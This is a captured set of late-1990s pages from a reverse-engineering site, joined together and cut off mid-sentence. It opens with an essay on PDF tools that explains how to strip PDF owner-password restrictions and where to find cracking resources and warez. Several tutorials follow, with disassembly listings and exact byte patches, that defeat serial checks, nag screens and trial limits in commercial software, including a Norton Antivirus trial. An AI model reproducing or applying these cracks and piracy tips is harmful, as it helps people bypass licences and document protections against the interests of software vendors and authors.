the market have brutally forced (sometimes contradictory)
extensions into the format.

I would like to suggest that Adobe is doing us a favour to some


extent in developing PDF commercially and keeping the format under
their control. I would not be so quick to say this if they had not
released the format specifications and the SDK publicly. And I
would not say this if they had released the specifications
publicly and yet kept many secret undocumented functions back to
exploit like a certain large company beginning with the letter M is
famous for. It is true perhaps that in keeping the format
proprietary that the general public is not free to help develop it
(officially) in the future, but the trade off is that we are
ensured an excellent format, freely documented, which will not be
abused and corrupted the way HTML (a weak format to begin with)
has.

FREEWARE & PUBLIC DOMAIN PDF SOLUTIONS

These are all commercial products however, and there is even


already a freeware solution. The PD postscript interpreter
"GhostScript" which while a Unix program has been ported to other
platforms such as Win32, and OS/2, and even DOS. This program is,
granted, somewhat tricky to learn to use, and is not user friendly
(to say the least!) but it does work and will produce PDF files
from PostScript, and is very powerful besides. Further more all of
the PostScript utilities which comes with it (+ORC mentioned he'd
like a Text-to-PDF converter) can be used to produce PDF files,
such as Text-to-PS. It also now is bundled with many PDF specific
utilities.

Besides the above mentioned method of converting ASCII Text to PDF


there are at least two little stand alone programs which will do
the deed. One first is freeware, portable, with source code, and
command line operated:
http://www.ep.cs.nott.ac.uk:80/~pns/pdfcorner/text2pdf/

The second is free non-expiring demo-ware, windows only, and a


VB (bleah! keep it away from me!) app:
http://www.emrg.com/download/gym101.zip

GhostScript is a command line oriented program, with a GUI viewer.


There is an add-on viewer for it however called GSview -- it can
read and display most PDF files. There is not necessarily any need
for Adobe's Acrobat Reader even if it is not wanted for whatever
reason.

http://www.instinct.org/fravia/ragica1.htm (3 of 9) [2/7/2001 3:20:46 PM]


ragica1

Finally, if anyone out there just wants to make a quick PDF there
is a free service offered on the Net (as of the time of writing
this it has been running for a year or more) to create PDF files
for anyone. All you need to do is upload a PostScript file to his
FTP site and it automatically is run through Acrobat Distiller and
placed in his outgoing directory usually within a few minutes. I
will give the URL below.

HACKING PDF ENCRYPTION AND PDF PASSWORDS

I am not a very technical person I'm afraid, so I can not write a


lot of technical details about this aspect of PDF. However, I can
give some general information which may be helpful, and point to
some more technical sources for those interested in following up.

The locked PDF document is not the most secure thing on Earth. (-:

There are two types of passwords associated with a PDF file: an


OWNER password and USER password. The OWNER password controls the
security options, but does not prevent a PDF file from being loaded
and viewed. The USER password prevents a PDF from being decrypted
and loaded at all.

There are not yet any known cracks for the USER password, although
much about the encryption scheme is known. At very least brute
force crackers should be fairly easy to create for those into that
sort of thing.

If the PDF can be viewed, whether it has an OWNER password or not it


is completely vulnerable. Security options to disable printing,
marking/copying, adding notes, and so on are useless.

There are several approaches to stripping a viewable PDF file of


other security options. Here are three:

1.

The first method we will call the "Twiddle Method". This apparently
involves directly manipulating/editing the raw PDF file to modify
security options. I can't tell you how to do this, but can only
report that it has been done. To find out information about this go
to www.dejanews.com and enter the following power search on the OLD
news database: ~g comp.text.pdf & ~a laird & password

The person who has evidently done this hacking has the following
web page where he discusses it, however he does not share his tools,
code, or specific information. I do not know whether he is willing
to give this information out or not. Kevin Laird can be reached at:

http://www.instinct.org/fravia/ragica1.htm (4 of 9) [2/7/2001 3:20:46 PM]


ragica1

http://www.ecn.purdue.edu/~laird/PDF/

Kevin Laird even has rigged up a CGI on his site where you can
submit the URL of a PDF file (along with the USER password if
needed) and his CGI will fetch the document and regardless of
any OWNER security settings convert the thing to a plain
PostScript file and send it back to your browser.

2.

The relatively painless way anyone can defeat the OWNER password is
by using GhostScript. Older versions of GhostScript required a
special source code patch which enabled bypassing the OWNER
password. With newer versions things are even simpler than that.
You can use the standard GhostScript distribution and just replace
the pdf_sec.ps file with a special one which gets you past the
OWNER password. Information about this GhostScript hack and where
to find it is here: http://www.ozemail.com.au/~geoffk/pdfencrypt/

3.

Finally, if you have acrobat distiller and the "print" option has
not been disabled, you can simply print the PDF file you are
viewing to a new postscript file and run it through distiller
effectively creating a new PDF file stripped of all security
settings. This method however will lose any SPECIAL PDF attributes
such as thumbnails, bookmarks, notes, or hyperlinks, but it's very
effective on basic PDF files.

For those who would like to go further and try their hand at
breaking the PDF encryption there is an excellent page which
details (more detail than the PDF specifications) some of the
aspects of the technical encryption method PDF employs. It is here:
http://www.hedgie.com/passwords/acrobat2.html

I believe people should have the right to encrypt whatever they


want and give the password or not give the password to whoever they
want and not have their privacy violated. However, people should
also understand the limitations of encryption methods and not be
fooled into a false sense of security when something is not secure.
I also find the tenancy seems to be for people to needlessly
encrypt PDF files simply because it is easy to do and the function
is there. If they had written their information to a text file
would they encrypt that with PGP and distribute it that way? No!
But for some reason they think it's "cool" to encrypt a PDF file.
People who misuse password protection, and those who are ignorant
of its weaknesses, deserve to be shown the error of their ways!

I'm sorry I'm not advanced enough myself to get into more technical

http://www.instinct.org/fravia/ragica1.htm (5 of 9) [2/7/2001 3:20:46 PM]


ragica1

PDF cracking attempts myself, but hopeful the information in this


file will be of help to someone who is. I believe it is the most
comprehensive collection of PDF hacking resources and references to
information yet assembled.

Happy hacking.

A BIT MORE ABOUT THE PDF CONCEPT

There are a lot of misconceptions about the PDF format out there.
Most people don't know how it's created, and it is endlessly
frustrating how "Adobe Acrobat" (the entire "Pro" package used to
create/edit/publish PDF documents) and the mere "Adobe Acrobat
Reader" are constantly thought to be the same thing.

The best way to think about PDF is as "electronic paper". It is not


meant to be edited, it is basically, like a printed page, a
read-only format. PDF is based on the Adobe Postscript
format/language. PDF in fact basically *is* PostScript, but with
some extensions and modifications.

It is not strictly true that his is not strictly true that PDF can
not be edited -- anything in electronic form can be edited.
PostScript files even can be edited if you have the right tools. It
is just that PDF, like Postscript, is not designed to be edited, it
is designed for display/printing primarily.

PDF can be modified and edited will Adobe Illustrator quite easily
(if it's not password protected in any way). There are third party
also plug-ins available for Adobe Exchange which allow some text
editing. (Adobe Acrobat Exchange is part of the Adobe Acrobat full
package. It is like the Acrobat Reader, except it can edit
security options, open options, create hyperlinks and bookmarks,
and other PDF touch-up related functions. When Acrobat Exchange 3
was in beta it was released to the public as a time-limited demo/beta.
This is long gone, but copies can still be found some places under the
filename, and a crack by MJ13 is available to remove the time limit).

PDF AND HTML OR TEXT

Some people complain that PDF is hard to handle, and hard to


convert to other formats. Of course, this is intentional! It is
intended as a primarily read-only professional document type-set
format!

However Adobe has released a plugin for the Acrobat Reader which
will export any PDF file to HTML or Plain Text... the results are

http://www.instinct.org/fravia/ragica1.htm (6 of 9) [2/7/2001 3:20:46 PM]


ragica1

not always the best, but are generally readable.

This service is also available via the internet on the fly. You can
go to http://access.adobe.com and enter the name of any PDF file on
the net. Adobe will fetch it, convert it to HTML and send the HTML
to your browser. Any (non-password protected) PDF file on the net
can be viewed (although the results aren't necessarily pretty) in
any web browser (even Lynx) without needing the Acrobat Reader or
Plug-in. This was primarily designed so that people with visual
disabilities could access PDF documents more easily, but it can be
useful for anybody.

There are also a lot of commercial 3rd Party tools cropping up


these days. There is a plug-in called "Compose" for example which
will export PDF files to RTF and possibly other formats. If you
are interested in 3rd party tools for Acrobat check the links
from one of these pages:
http://www.tinaja.com/acrob01.html
http://www.pdf.org

ACROBAT PRO AS WAREZ

If you ever look around on "warez" pages you will see links to
"Adobe Acrobat" on most of them! These always link to the FREEWARE
Acrobat Reader. If you needed any more evidence on how lame nearly
all warez web pages are, there you go. The actual full Acrobat
package is next to impossible to find as 'warez' on the net. In
fact I've looked long and hard and have never yet found it in a
complete and uncorrupted format. Of course it's out there somewhere,
and I'm not exactly elite, but all I'm saying is it's damn hard to
find!

Anyone interested in a commercial package for creating PDF should


look into PageMaker 6.5 or FrameMaker 5.5, they are much easier to
find on the net and both have integrated PDF creation support. In
fact you can create PDF from any PostScript document with either of
these packages because they install full versions of Acrobat
Distiller. All you need to do is print your document from any
application to a PostScript file, then open that file in Acrobat
Distiller and a PDF file will be created.

Adobe has now publicly released a beta of a Word'97 macro for


creating complex acrobat documents from inside Microsoft Word 97 as
well. But you still need Acrobat Distiller to actually produce the
PDF file.

ALL THE LINKS!

http://www.instinct.org/fravia/ragica1.htm (7 of 9) [2/7/2001 3:20:46 PM]


ragica1

The official Acrobat PDF 1.2 Specification and SDK:


--------------------------------------------------
http://www.adobe.com/supportservice/devrelations/PDFS/TN/PDFSPEC.PDF
http://www.adobe.com/supportservice/devrelations/PDFS/TN/PDFSPEC.TXT
ftp://ftp.adobe.com/pub/adobe/devrelations/devtechnotes/pdffiles/PDFSPEC.PDF
http://www.adobe.com/supportservice/devrelations/sdks.html

Microsoft & Adobe OpenType Information:


--------------------------------------
http://www.adobe.com/supportservice/devrelations/opentype/main.htm
http://www.microsoft.com/typography/users.htm

GhostScript/GSview, freeware PDF/PS tools & password patch:


----------------------------------------------------------
http://www.cs.wisc.edu/~ghost/
http://www.ozemail.com.au/~geoffk/pdfencrypt/
http://www.tinaja.com/post01.html

PDF Hacking/unprotecting:
------------------------
http://www.tinaja.com/text/insecure.html
http://www.ecn.purdue.edu/~laird/PDF/
http://www.hedgie.com/passwords/acrobat2.html

General PDF information, tools, and links:


-----------------------------------------
http://www.ep.cs.nott.ac.uk:80/~pns/pdfcorner/text2pdf/
http://www.tinaja.com/acrob01.html
http://www.pdf.org
http://access.adobe.com
http://www.adobe.com/prodindex/acrobat/main.thml
http://www.emrg.com/download/gym101.zip

Adobat Distiller PDF Net Service:


--------------------------------
http://www.babinszki.com/distiller.htm

(c) Ragica 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the PDF-Project

http://www.instinct.org/fravia/ragica1.htm (8 of 9) [2/7/2001 3:20:46 PM]


ragica1

homepage links anonymity +ORC students' essays Academy database


tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/ragica1.htm (9 of 9) [2/7/2001 3:20:46 PM]


snatch_22.htm: Cracking Installshield serials EASY or TOUGH protection

Back to the Snippets

Cracking Installshield serials


EASY or TOUGH protection

by Snatch
10 February 1998

Cracking Installshield serials:


EASY or TOUGH protection

I know that Fravia asked for no more banal essays, but


I must write this because we crackers have overlooked
something with Installshield many many times.
Tools:
Any version of Soft Ice that supports BPX and Windows
Any Installshield serial number protected program

If you go back to my first essay on cracking Numega


Smartcheck, you will notice that I say something among
the lines of "I tried to crack the serial protection
but failed, but dont worry we will still be able to
crack this program." Apparently though, the serial
number is used throughout the program as well as the
unlock code I describe. But what mainly made me go
back to this was NatzGul's essay when he said he could
not crack the serial. I was begining to write my own
Installshield Script decompiler, starting to look
through the INSHELP setup file for the compare code for
the tokens. The thing about Smartcheck is that you can
get a trial if you leave the field blank, but we want
to register not get a trial! This is why Natzgul found
it acceptable to only crack the script.
I could not find the code I was looking for and so I
started looking at the imported dll functions. There I

http://www.instinct.org/fravia/snatch_2.htm (1 of 2) [2/7/2001 3:20:48 PM]


saw a lot of strange calls among a StrCmpiA. I had
checked StrCmp[][A][W] a lot but never StrCmpi[][A][W].
Maybe I found something here after all. So load up
your debugger and get to the serial nag screen of your
installation program. Set a bpx strcmpia. Now click
the next button.
By the way, I looked up StrCmpi but could not find it,
but it seems like a normal string comparison function.
The debugger should pop up in the routine. If you
press F12, to leave, and then look above the call, you
will see the two addresses pushed. Dump whats there.
It seems to be comparing 'BUTTON' to 'BUTTON'. Well
this is weird maybe this is not what we want after all.
Try again and it compares 'EDIT' to 'BUTTON'. Try
again and it compares 'BUTTON' to 'BUTTON' again. This
seems to be some sort of dialog ID being copied. Maybe
we should give up? Dont.
Now repeat the process one more time maybe more
depending on what the OS is up to but you should see a
'-' compared with a '-' and one of the '-'s should have
part of your serial number, the one you typed
following. Hmmmm. Seems like we have found some sort
of general data area on the stack. We must be getting
somewhere now. Try one more time now and guess what?
You see two numbers being compared. The strange one
couldn't happen to be your serial number without dashes
could it? It is though.
Who would have thought this protection would have been
so easy. It is so easy, it constitutes a tough
protection because we would never even think it to be
this easy to try it! Note you might have trouble if
you dont put the dashes in in the right place or fake
the serial with one with the wrong length, but when you
bypass the serial by leaving it blank, the splash
screen thankfully say serial number: xxxx-xxxxxx-xx.
Numega use your brains.
Sorry this essay does not solve how the key maker
works, but why clutter your mind with that when you can
generate them so easily by just setting a breakpoint.

Snatch '98

Back to the Snippets

http://www.instinct.org/fravia/snatch_2.htm (2 of 2) [2/7/2001 3:20:48 PM]


advanced

Reverse engineering Academy


Taxonomy
~

Snippets

Various "snippets" about (more or less) useful tools


and
rare snippets from some +HCU seminars
A fairly important project, started on 28 October 1997.
Last updated: End July 1998
The "snippets" you'll find here have been published 'rough'

1) They may be almost uncommented (advanced users do not need comments)


2) They may be fairly irrelevant for techniques used or analyse depth, yet
regard targets that may be useful for our trade
3) They are not edited
Since the main problem is usually to "clean" and to "choose" and to "prepare" the essays, you'll find here a sort of curious
uncommented mix "et ab hic et ab hoc", that may be useful and quite interesting at times.
DO NOT UNDERESTIMATE these "small" essays! Clever reverse engineers will at once understand how important some of
these "snippets" can be... have for instance a look at the one by The Undertaker :-)

You'll find here following snippets:


VisualBB's CLICKBOOK - Stupid Protection / Tools of the trade 28 October 1997
A+heist's Websnake version 1.22 (fetch a whole site on da web) 28 October 1997
The Undertaker's Protexe v2.11: exploring the protection scheme 11 January 1998
ThunderLord's Cracking Norton Antivirus Trial Edition 11 January 1998
The Undertaker's Unpack/unprotect com files using debug.exe 16 January 1998
(old powerful dos debugging - still useful today - "An acquarium for your viri")
How to make a MSGBOX work for YOU, by RMD+ 21 January 1998
(Winimage Version 2.50)
Fastraq Post Server; a "best before" protection scheme, by Cybercurve 29 January 1998
Tray Day 4.5 "The kill of a weak and badly written scheme, by MAD '96 29 January 1998
"follow a protection scheme around the codecorners"
Cracking Installshield serials: EASY or TOUGH protection, by Snatch 10 February 1998
"Numega, use your brains!"

http://www.instinct.org/fravia/snippets.htm (1 of 24) [2/7/2001 3:20:56 PM]


advanced

MORE DOS4GW STUFF: CD ROM / 3DFX Cracking, by The_Gimp! 28 February 1998


"REMOVING THE CD CHECK"
The SIMLOCK saga, by Frog's Print 15 June 1998
Nokia's stupidity
Reversing Dllshow v.3.2, by A+heist 26 July 1998
Had to crack it becose I needed it

Here begin the SNIPPETS


CLICKBOOK - Stupid Protection / Tools of the trade By VisualBB

I also had the opportunity to get a program that is useful for us -


CLICKBOOK from forefront the makers of Quick view pro that Essential
utility. It condenses printouts into booklet form.

This program "DEMO" can be got at:

http://www.ffg.com/wp/clickbook.html

It prints booklets that are a great paper saver. Only thing is the
damn demo prints a box on every page with the words "TRIAL VERSION" as
well as the site address - "www.ffg.com". This was too irritating for
words and so I ran it thru WDASM looking for the words Trial Version
which were found scattered all over.

While examining the code I noticed that every time a shareware notice
as present there was also a normal notice. This seemed to be too easy.
Also the program checked location 00401E6E and if 0 jumped to good and
anything else was bad and demo.

So I searched for this location to see where the flag was being set. I
found it being set at 3 locations.

Set breakpoints and start the debugger of wdasm32 ( which I find


easier to follow than SICE though not as powerful. We break at the
first breakpoint I set which was a call to a function that returned 1
in EAX which was loaded into our 00401E6E and then CMPared . So I
changed the 1 to 0 in ax and ran. No initial nagscreen but still the
box was present. Obviously the value was being changed elsewhere.

Load the program again this time trace into the call. and after
stepping a lot and after a check to some value in the registry, we
arrive at this code:

:004346E5 7518 jne 004346FF


:004346E7 3BC8 cmp ecx, eax
:004346E9 7514 jne 004346FF
:004346EB 83F906 cmp ecx, 00000006
:004346EE 750F jne 004346FF

http://www.instinct.org/fravia/snippets.htm (2 of 24) [2/7/2001 3:20:56 PM]


advanced

* Possible Reference to String Resource ID=00001: "Pass B"


|
:004346F0 B801000000 mov eax, 00000001 <--- HERE!!!
:004346F5 5F pop edi
:004346F6 5E pop esi
:004346F7 5B pop ebx
:004346F8 81C4CC000000 add esp, 000000CC
:004346FE C3 ret

Since we cannot be registered (no provision in the program) we always


arrive at the code "marked.class" tppabs="http://fravia.org/marked.class" HERE!!!
where we observe EAX being loaded
with the BAD flag - 1. Surely it cannot be that easy?

Believe me IT IS. Change the mov eax, 1 to mov eax, 0 and let the
program run. Print a document and preview, no box spoiling the output.
Thats it. We are done. Except for the ABOUT dialog saying we are not
registered, the program works beautifully and even displays
"Registered to" on the main screen.
VisualBB
Websnake version 1.22 (fetch a whole site on da web) by A+heist
Find it on da web... you are supposed to be a master searcher :)

Hi frav,
Here they protz a little, yet read and you'll understand why I
wanted to try it out, and why you'll want to try it out and
why everyone will want to try it out:
Download a website for off-line browsing, which means you can
view the entire site on your own computer much faster than if
you were on-line. And, you save money on dial-up costs, too!
Duplicate or mirror a website, including the directory structure.
Great for webmasters and web designers to see how a website
is setup.
Copy e-mail addresses referenced in a websites HTML files.
These e-mail addresses can later be exported into a comma or
tab delimited database file. The applications of this range
from simple research to broadcast e-mail marketing.
Build a map of the HTML files referenced in a website.
Need to know the structure of a remote website? This is
your tool.
Search for specific keywords on a website. Get the information
you need in a flash.
Retrieve specific types of files like all the cool graphics,
sounds (WAV files), or movies (AVI files). WebSnake automatically
downloads anything you want quickly and easily.

Here we go:

:10007352 E8F9020000 call 10007650


:10007357 833D1861011000 cmp dword ptr [10016118], 00000000
:1000735E 740E je 1000736E ;nop this bad one
:10007360 833D1461011000 cmp dword ptr [10016114], 00000000
:10007367 7505 jne 1000736E ;nop this bad one
:10007369 B81A750000 mov eax, 0000751A ****! GETTAGODDAFLAG

http://www.instinct.org/fravia/snippets.htm (3 of 24) [2/7/2001 3:20:56 PM]


advanced

:Check_luser_status
:1000736E 3DEE550000 cmp eax, 000055EE
:10007373 7464 je 100073D9
:10007375 3DCB590000 cmp eax, 000059CB
:1000737A 745D je 100073D9
:1000737C 3D1A750000 cmp eax, 0000751A ;is he registered?
:10007381 0F84B2000000 je 10007439 ;yes, go go go good guy

:Check_luser_really_registered
:10007439 833D1861011000 cmp dword ptr [10016118], 00000000
:10007440 7413 je 10007455 ;ok, good guy
:10007442 833D1461011000 cmp dword ptr [10016114], 00000000
:10007449 750A jne 10007455 ;ok, good guy
:1000744B 83C634 add esi, 00000034
:1000744E 684F750000 push 0000754F ;"Retail Version"
...
:OK_good_guy
:10007455 83C634 add esi, 00000034
:10007458 684A750000 push 0000754A ;"Your software is registered. Thank
you."

Well that's it, I'm afraid: stupid, much too stupid scheme.
May be the target could be useful: dunno, never tried it yet,
don't have the time to surf much with my fukin Uni and all the
fukin essays you keep publishing and I have to read to keep abreast :)

A+heist

PROTEXE V2.11 - TOM TROFS


EXPLORING THE PROTECTION SCEHME
BY
THE UNDERTAKER -=BANDA=-

After a long period of busy shedule. Finally I managed to start my reverse


engineering essays. Today we will explore a another EXE protector called
PROTEXE. Exploring the EXE protectors you will learn a lot. Because normally
they use good encription & anti debugging tricks. Most of the time they use
Vector replacement, Self modifying code, Anti debugging tricks. Some of them
uses very good protection schemes. Truly hard to crack those. Ok lets get
back to work. First, protect a EXE file using PROTEXE. Now set up our
favorite tool soft-ice 2.80 for DOS (Yes: dos cracking is great fun!).

Load your protected EXE file using Symbolic Loader (LDR).

LDR lha.exe <

Now you are in Soft-Ice window, Before we analyse the code "we.class"
tppabs="http://fravia.org/we.class" need to study
the X86 flag register.

FLAGS - Intel 8086 Family Flags Register

http://www.instinct.org/fravia/snippets.htm (4 of 24) [2/7/2001 3:20:56 PM]


advanced

1110FEDCBA9876543210
CF Carry Flag
1
PF Parity Flag
0
AF Auxiliary Flag
0
ZF Zero Flag
SF Sign Flag
TF Trap Flag (Single Step) ***
IF Interrupt Flag
DF Direction Flag
OF Overflow flag
IOPL I/O Privilege Level (286+ only)
NT Nested Task Flag (286+ only)
0
RF Resume Flag (386+ only)
VM Virtual Mode Flag (386+ only)

Ok, lets explore the first few instructions in the protected program....

XXXX:0147 9C PUSHF -- Save The Flag Register


XXXX:0148 9C PUSHF -- Pushed again to get into AX
XXXX:0149 58 POP AX -- AX Contains Current Flag Settings
XXXX:014A 25FF0F AND AX,0FFF -- Discard upper 4 nibbles (msb)
XXXX:014D 50 PUSH AX -- Save modified flags
XXXX:014E 9D POPF -- Use modified Flags.
.
XXXX:0159 9C PUSHF
XXXX:015A 58 POPF
XXXX:015B 25FF0F AND AX,0FFF -- Discard Upper 4 niblles
XXXX:015E 0D0070 OR AX,7000 -- If TF is on, Off it
XXXX:0161 50 PUSH AX
XXXX:0162 58 POPF

Well above part is to disable the Trap Flag. If the Trap Flag is on then
processor switch back to single step mode. Most universal Unpackers uses
this method to trace through the code. Ok lets analyse the code further
down.

XXXX:016A BA6400 MOV DX,064


XXXX:016D BOAD MOV AL,AD
XXXX:016F EB01 JMP 172 -- ***
XXXX:0171 88EE MOV DH,CH

Above part is to disable the keyboard. but there is a jump it is


directed to OFFSET:172. In the code there is no 172. Ok it is a
self modifying stuff in it.
Opcode for OUT DX,AL is EE. See DX & AL setup for the keyboard disable.
But there is no OUT DX,AL. Well check the jump it is directed to
172. In offset 172 you will find the opcode EE. Here you got it once
jump executed the code changed to OUT DX,AL.

http://www.instinct.org/fravia/snippets.htm (5 of 24) [2/7/2001 3:20:56 PM]


advanced

Code MOV DH,CH has no effect until the jump instruction executed. Within
the code you will find lot of these JMP's directed to OUT DX,AL. Ignore all
of them and countinue.

XXXX:0186 33C0 XOR AX,AX


XXXX:0188 8ED8 MOV DS,AX
XXXX:018A FF360C00 PUSH [000C]
XXXX:018E FF360E00 PUSH [000E]
XXXX:0192 B84602 MOV AX,246 -- **
XXXX:0195 A30C00 MOV [000C],AX
XXXX:0198 8C0E0E00 MOV [000E],CS

Ok, Check above code. Mmmm It seems to be a Vector replacemet for


interrupt 3.
Yes it is, Most of the debuggers & universal unpackers uses int 3.
Replacing the int3 code to something else may hang these type of
debuggers & unpackers.
Lets check what is replaceing the existing int 3 code. New interrupt
service routine for int 3 is located at CS:246 (chek the code).

Normally Int3 code has only IRET instruction. Lets check the new int3
ISR...

U 246

XXXX:0246 8ED8 MOV DS,AX


XXXX:0248 CF IRET

In here int3 used to copy the contains of AX to DS.. Let's explore the
code again..

If you are going through the code, You will find lot of Keyboard disable
routines & interrupt masking(keyboard Int masking) routines inside the
code.
Bypass all of them (I think everybody knows to bypass those lame tricks)
and next you will landed on CRC checking routine. Go through the code until
you find this.

XXXX:020B 81FEF78A CMP SI,8AF7


XXXX:020F 72B0 JB 1C1
XXXX:0211 PUSH DX -- **

Put a Break Point on XXXX:0211. Otherwise it will loop you until SI=8AF7.

BPX 211 & go (F5)

Again you will see keyboard & interrupt Enable routines in the code
window. Go through the code until you see this..

XXXX:022E 81FA2877 CMP DX,7728


XXXX:0232 7415 JZ 249 -- **

This part is to check the calculated CRC with the program contains. If
match go ahead. Else you will landed in a CRC failed message & dump into dos.
Mmmm Ok go through the code until you see this.

http://www.instinct.org/fravia/snippets.htm (6 of 24) [2/7/2001 3:20:56 PM]


advanced

XXXX:02D2 EB01 JMP 2D5


XXXX:02D4 88EE MOV DH,CH
XXXX:02D6 EA0000C615 JMP 15C6:0000 -- *******

Above FAR JMP take you to the original code of your programm...

Well in this PROTEXE you will find different types of protection


methods. They are..

# FLAG register Masking. (TF MASK)


# Vector Replacement.
# Keyboard & interrupt Masking.
# Self Modifying Code.
# CRC Checking.

Above methods are good. But the sad protector's only (MAIN) problem
is what I would call an "implementation lacks".
I think that the Coder only tried to protect the program from
LAMERS. Otherwise he would of course have implemented this program
better than that.

I think All the protection writers have to think twice


It is true this is a dammn "windows" age, I'm afraid.
Yet there are still quite a lot of good reverse engineers in
this Micro$oft 'tamed' world :-)

Ok, now for the most stupid readers, Using a hex editor you can change few opcodes in
this
program. Find those opcodes and change. Then use TRON to unpack it.
Shhhhh!
If you have any problems contact me...

I would like to read your comments.


You can write to me on following email address..

undertakerd@hotmail.com

NOTE - If you compressed the program before running protexe. Then above
OFFSET address can be changed. Also you can down load the PROTEXE
program in FRAVIA's PAGE.

Thanks goes to all HCU+ & ORC+ guys.


Next time we move to a differnt type of a protector. Until then

REST IN PEACE

The Undertaker -=BANDA=- //SRI LANKA//

http://www.instinct.org/fravia/snippets.htm (7 of 24) [2/7/2001 3:20:56 PM]


advanced

Cracking Norton Antivirus Trial


Edition
By ThunderLord
At first lets take a look at the directory where all the files were installed. It containes several
executables. Four of them are the files which run the main virus scanner, resident virus scanner,
sheduler and a rescue disk creation utility.
The first strange thing is that those files are all exactly the same size, about 160 kb. That seemed
quite strange for those completly different executables, but my first thought was, that they were
wrapped against viral protection.
The protection consisted of a nag screen with amount of trial days left, which appeared at the
startup and asked to press the "still on trial" button. There was a possibility to register the package
on-line using the internet or modem, but no place wher! e to enter the serial number. That's
probably because Symantec decided not to provide telephone lines for direct ordering.
One of the first funny ideas which popped in my head was to hack the winsock.dll to provide a fake
registration, but then I declined the idea as beeing too complicated :)

So lets begin with the first step:


I launched the WDASM and quickly produced a dead listing of the main scanner executable
NAVW32. At the same time I extracted the resources from it using Borland C++ 5.0 and took a
long look at all dialog boxes, remembering their id's.

One little sidestep: sometimes I prefer to use Micro$oft Developer Studio, because Borland's Tool
tends to crush when processing the menus:( Using Bill's tool I always get a strange warning
messagebox, saying: "You may be anable to save the resources! back to file, because you are
probably using a version of operation system which does not support editing the resourses in the
executables". AHA ! Well, Borland's editor doesn't seem to have this problem, Bill !. You are trying
to scare me off from editing! the Micro$ofts own programs. Well, lets get back to our NAVW32...

Trying to look at the resourses in other files and after reading a number of colorfull dialogs, I found
out that Symantec is not using their own protection sheme, but some company which provides
online registering service of different software. They eve! n have a whole DLL containg a so called
"Sales Agent". Strange thing that I found some references to Micro$oft Front Page in those dialogs,
that probably means, that Micro$oft are also using that "Sales Agent".

After finding the id of the dialog which popped up at the startup I quickly searched for it in the
dead list. The following code was interesting:

http://www.instinct.org/fravia/snippets.htm (8 of 24) [2/7/2001 3:20:56 PM]


advanced

:004024B2 cmp dword ptr [0042173C], 00000000


:004024B9 jne 0040260D <--- Jump over MANY dialogboxparam's
...
:004024C6 cmp dword ptr [004200BC], 00000000
:004024CD push 004027B0
:004024D2 push eax
:004024D3 je 004024D9
...
Set up a dialog for some other product and jump to 004024E2
...
:004024D9 push 00000067 <--- ID of OUR naggin dialog
:004024DB mov ecx, dword ptr [0041D344]
:004024E1 push ecx
:004024E2 Call USER32.DialogBoxParamA
...
MANY different dialog boxes
...

Well as you can see the our dialog box is lying in the chain of other dialog boxes for some other
nagscreens and stuff... But the first thing which poppes up is the cmp instruction at the first line. It
looks very suspicious as it jumps over the bunch o! f the nagscreens, and the location in memory
looks very much like a flag !
I tryed Softicing it and found out, that memory location is only touched once befor this compare...
it is zeroed somewhere in the startup code ! So there is a quick crack:
:004024B2 mov dword ptr [0042173C], 00000001 <--- Place a fake flag
:004024B9 jmp 0040260D <--- Jump over MANY dialogboxparam's

The move is nessesary, cause there can be more places where the flag is checked, but this place is
the First.
The main scanner is done... no more nagging. Other four executables are cracked similary, they are
compiled exactly as this, even with the same opcodes at the same addreses. This comfirmes that the
files were processed by Sales Agent wrapper.

Suddenly after a few days of using the software I adjusted my system clock and a window from the
resident scanner popped up saying that I am using a timed software and I may not change the time.
I realised that there are some more places where the files! need to be patched.
I set my clock to year 1999, and loaded the NAVW32 in to the SoftIce again and quickly patched it
in one more place.
I thought that the crack was done when I suddenly noticed that there were loading two copies of the
resident scanner one as an executable another as a dll. That looked like a very "unclean" crack, so I
decided to take a very serious look at the whole th! ing again.
In the installation directory I found a few executable files which were called almost the same as the
main scanner, resident scanner, and other antivira tools, but they were ending with POP, like
NAVW3POP.EXE. Theese files also had a exact size and even! icon. I launched one and got a
standart windows animated "file copying" dialog box which terminated in a few seconds and
showed an error message saying:
"You can't run this program now, but leave it where it is because the system will need it later". Hey
that looks like some kinda selfextracting installation file.

I loaded it in the wdasm peeked at it's code... Some interesting opcodes were found:

http://www.instinct.org/fravia/snippets.htm (9 of 24) [2/7/2001 3:20:56 PM]


advanced

...
Animated dialog which shows files beeing copied
...
:00401F30 Call KERNEL32.SleepEx <--- They want us to see their creative dialog for 2 seconds :)
:00401F36 call 00401CF0 <--- Some naughty routine which tends to return an error code "of.class"
tppabs="http://fravia.org/of.class" -1 or 0 for beggar or 1 for coolguy
:00401F3B cmp eax, FFFFFFFF <--- Compare to minus one
:00401F3E mov ebx, eax <--- Make a copy of error code "for.class"
tppabs="http://fravia.org/for.class" future reference
:00401F40 jne 00401F4E <--- if not -1, then DON'T QUIT YET

:00401F42 push 00000000 <--- Here the program quits


:00401F44 mov esi, USER32.PostQuitMessage
:00401F4A call esi
:00401F4C jmp 00401F54 <--- Get outta here, beggar

;DON'T QUIT YET, just "prepare" for quit, cause BX can still hold 0 or 1
:00401F4E mov esi, USER32.PostQuitMessage

:00401F54 test ebx, ebx <--- if BX=-1 or BX=1 then goto msgebox with error
:00401F56 jne 00401F8F <--- IMPORTANT JUMP
...
;Quitting with a messagebox containing "You cannot run this application at this time."
...
:00401F71 mov edi, USER32.MessageBoxA
...
:00401F87 call edi
:00401F89 push 00000000
:00401F8B call esi <--- ESI is PostQuitMessage as you remember from above
:00401F8D jmp 00401F95 <--- Jumping outta the program

;IMPORTANT JUMP lands here


:00401F8F mov edi, USER32.MessageBoxA <--- Prepare a message box
:00401F95 cmp ebx, 00000001 <--- SECOND IMPORTANT JUMP which finaly checks for a valid return code
"of.class" tppabs="http://fravia.org/of.class" a coolguy
:00401F98 jne 0040203C <--- If not 1 at this time then gettoutta here beggar
...
;Cool Guy operations go here (like unpacking the executable)
...
:0040203C xor eax, eax <--- return indicating that a bad guy
...
:00402047 ret 0010

As you can see, the code loads EDI and ESI with addresses to PostQuitMessage and MessageBox,
threatning to call them if the value in EBX is not equal to 1. Therfor the patch should put a value of
1 in the BX somewhere after the naughty routine call and ! before the great EBX checking starts...
This task can you perform yourself, because when I first cracked it I was tired and therfor patched
the previous code in TWO locations...but now I can see a pretty easy to do it in one.
After patching the file is unpacking without any trouble and it replaces the "fake" wrapped
